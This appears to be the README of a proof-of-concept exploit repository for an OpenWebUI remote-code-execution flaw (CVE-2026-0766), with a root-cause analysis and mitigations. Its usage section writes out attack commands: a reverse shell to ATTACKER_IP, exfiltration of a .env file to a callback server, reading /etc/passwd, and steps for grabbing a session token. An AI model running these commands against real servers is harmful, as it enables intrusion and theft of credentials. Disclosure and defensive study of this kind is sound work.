## https://sploitus.com/exploit?id=536844A9-C893-5A22-A369-A3CBE9779A69
# CVE-2026-0766: OpenWebUI Remote Code Execution
**Educational Security Research Repository**
This repository contains proof-of-concept exploitation code for **CVE-2026-0766**, a remote code execution vulnerability in OpenWebUI discovered and published by the **Zero Day Initiative (ZDI)**.
---
## โ ๏ธ Disclaimer
**This repository is for authorized security testing and educational purposes only.**
- โ Use this code to test **your own systems** or systems you have **explicit authorization** to test
- โ Use this for **learning** about LLM platform security vulnerabilities
- โ Use this to **defend** against similar vulnerabilities in your own applications
- โ **Never** use this against systems without explicit permission
- โ Unauthorized access to computer systems is **illegal**
The author assumes no liability for misuse of this code. Users are solely responsible for ensuring their activities comply with all applicable laws and regulations.
---
## ๐ Vulnerability Overview
| Property | Value |
|----------|-------|
| **CVE ID** | CVE-2026-0766 |
| **Discovered By** | Zero Day Initiative (ZDI) |
| **Affected Software** | OpenWebUI |
| **Vulnerability Type** | Code Injection (CWE-94) |
| **CVSS Score** | 8.8 HIGH |
| **CVSS Vector** | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Attack Complexity** | Low (authenticated users can exploit) |
### What is OpenWebUI?
OpenWebUI is a self-hosted web interface for Large Language Models. It provides a ChatGPT-like experience that organizations can run on their own infrastructure, keeping LLM conversations and data on-premises.
### The Vulnerability
OpenWebUI includes a "Tools" feature that allows users to extend LLM capabilities by submitting Python code. This code is executed server-side via Python's `exec()` function **without any sandboxing, validation, or security controls**.
**Exploitation flow:**
1. Authenticated user creates a "Tool" via `POST /api/v1/tools/create`
2. User-supplied Python code is stored in the `content` field
3. Server calls `exec(content, module.__dict__)` in `utils/plugin.py`
4. Arbitrary Python code executes with full server privileges
5. Attacker achieves Remote Code Execution (RCE)
**Key insight:** The code executes **at tool creation time**, not when the LLM invokes the tool. This means simply creating a malicious tool triggers RCE โ no further interaction needed.
### Tested Versions
This exploit has been verified on:
- **OpenWebUI v0.8.10** - Vulnerable โ (tested 2026-03-28)
The vulnerability is architectural (unsafe use of `exec()` on user input) and exists across all versions until a security patch is released by the OpenWebUI team.
---
## ๐ Technical Details
### Root Cause
The vulnerability exists in `backend/open_webui/utils/plugin.py`:
```python
def load_tool_module_by_id(tool_id: str, content: str):
# Minimal preprocessing (NOT a security control)
content = replace_imports(content)
# Create module and execute user code
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # โ VULNERABILITY
return module
```
The `replace_imports()` function only rewrites import paths (cosmetic) โ it does **not** restrict what code can execute. There is:
- โ No sandboxing (no restricted execution environment)
- โ No code validation (no AST inspection or allowlisting)
- โ No permission checks (all authenticated users can create tools by default)
- โ No privilege separation (code runs as the OpenWebUI service account)
### Vendor Response
The OpenWebUI team initially assessed this as low-priority, noting that tool creation requires administrator permissions. However:
1. **Permission delegation is common** โ Many deployments grant tool creation to power users, workspace admins, and developers
2. **Compromised admin accounts** โ Phishing, credential stuffing, and SSO compromise can give attackers admin access
3. **Defense in depth violation** โ Even admin actions should be constrained; unrestricted code execution breaks the principle of least privilege
4. **Post-compromise utility** โ This vulnerability is valuable in attack chains after initial access
After the vendor declined to address the issue, **ZDI published this as a 0-day vulnerability** (ZDI-26-032) to inform defenders.
**The author respects the challenges of maintaining open-source projects.** Security patching requires balancing user needs, architectural constraints, and limited resources. This publication aims to help security teams assess risk and implement mitigations, not to criticize the OpenWebUI maintainers.
---
## ๐ ๏ธ Proof of Concept
### Installation
```bash
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
```
### Usage
The exploit script (`exploit.py`) supports multiple attack modes:
#### 1. Command Execution
Execute OS commands and retrieve output:
```bash
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
```
#### 2. File Read
Read files from the server filesystem:
```bash
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
```
#### 3. Reverse Shell
Spawn a reverse shell (requires netcat listener):
```bash
# On attacker machine:
nc -lvnp 4444
# Run exploit:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
```
#### 4. Blind Exfiltration
Send command output to an HTTP callback server:
```bash
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
```
### Authentication
The script accepts both **JWT tokens** (from SSO login) and **API keys**:
**Getting a JWT token:**
1. Log into OpenWebUI normally (SSO or local auth)
2. Open browser DevTools (F12)
3. Find your token:
- **Cookies tab:** Look for `token` cookie value
- **Network tab:** Copy `Authorization: Bearer ...` header from any API request
- **Console:** Run `localStorage.getItem("token")`
4. Pass the token to the script: `--token eyJhbGci...`
---
## ๐ Mitigations
### For Defenders
If you run OpenWebUI and cannot immediately patch:
1. **Restrict tool creation permissions** to only highly-trusted administrators
2. **Audit existing tools** for malicious code (check tool content in database)
3. **Run OpenWebUI with minimal privileges** (dedicated service account, read-only filesystem where possible)
4. **Implement network egress filtering** (container should not have arbitrary outbound access)
5. **Monitor for suspicious tool creation** (watch for tools created outside normal workflows)
### Recommended Fixes (for maintainers)
1. **Replace `exec()` with a safe alternative:**
- Use `RestrictedPython` for sandboxed execution
- Parse Python AST and validate against allowlist of safe operations
- Execute tool code in isolated containers (gVisor, Firecracker)
2. **Add permission checks:**
- Require admin approval for new tools
- Implement role-based access control for tool creation
- Add code review workflow before tools become active
3. **Defense in depth:**
- Run tools in separate processes with syscall filtering (seccomp)
- Limit filesystem access to read-only
- Remove network access from tool execution environment
---
## ๐ References
- **NVD Entry:** https://nvd.nist.gov/vuln/detail/CVE-2026-0766
- **ZDI Advisory:** https://www.zerodayinitiative.com/advisories/ZDI-26-032/
- **GitHub Security Advisory:** https://github.com/advisories/GHSA-cggw-334c-f4mj
- **CWE-94 (Code Injection):** https://cwe.mitre.org/data/definitions/94.html
- **OWASP Code Injection:** https://owasp.org/www-community/attacks/Code_Injection
---
## ๐ Credits
- **Vulnerability Discovery:** Zero Day Initiative (ZDI) โ ZDI-26-032 / ZDI-CAN-28257
- **Exploitation Research & PoC Development:** Pradeep Pillai ([@bitt0n](https://github.com/bitt0n))
---
## ๐ License
MIT License - See [LICENSE](LICENSE) file for details.
This code is provided for educational and defensive security purposes. The author is not responsible for misuse.
---
## ๐ค Responsible Disclosure
This vulnerability was responsibly disclosed:
1. **ZDI discovered and reported** the vulnerability to OpenWebUI
2. **Coordinated disclosure period** provided to vendor for patching
3. **Vendor declined to patch** (assessed as acceptable risk)
4. **ZDI published as 0-day** to inform the security community
5. **This PoC published post-disclosure** to help defenders assess risk
If you discover security vulnerabilities in open-source projects, please follow responsible disclosure practices and give maintainers time to patch before public disclosure.
---
**For questions or feedback:** Open an issue in this repository.